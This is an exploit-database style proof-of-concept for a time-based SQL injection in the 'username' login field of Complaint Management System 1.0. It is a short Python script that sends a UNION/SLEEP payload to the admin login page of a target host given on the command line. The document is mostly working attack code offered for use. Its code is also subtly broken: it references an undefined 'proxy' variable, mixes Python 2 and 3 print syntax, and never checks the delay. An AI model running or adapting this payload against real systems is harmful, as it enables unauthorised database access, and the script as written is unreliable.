Complaint Management System 1.0 - 'username' SQL Injection

# Exploit Title: Complaint Management System 1.0 - 'username' SQL Injection
# Exploit Author: Daniel Ortiz
# Date: 2020-05-12
# Vendor Homepage: https://www.sourcecodester.com/php/14206/complaint-management-system.html
# Tested on: XAMPP Version 5.6.40 / Windows 10
# Software Link:  https://www.sourcecodester.com/php/14206/complaint-management-system.html

#!/usr/bin/python

import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecurePlatformWarning)

def main():
    
    target = sys.argv[1]
    payload = "ADMIN' UNION SELECT NULL,NULL,NULL,SLEEP(5)#"
    url = "http://%s/cms/admin/index.php" % target
    
    print("[+] Target: %s") % target
    print("[+] Injecting payload: %s") % payload

    inject(url, payload)

def inject(url, payload):

    s = requests.Session()
    d = {'username': payload, 'password': 'admin', 'submit': ''} 
    r = s.post(url, data=d, proxies=proxy)


if __name__ == '__main__':

    if len(sys.argv) != 2:
        print("(-) usage: %s  TARGET" % sys.argv[0])
        print("(-) e.g: %s  192.168.0.10" % sys.argv[0]) 
        sys.exit(-1)

    main()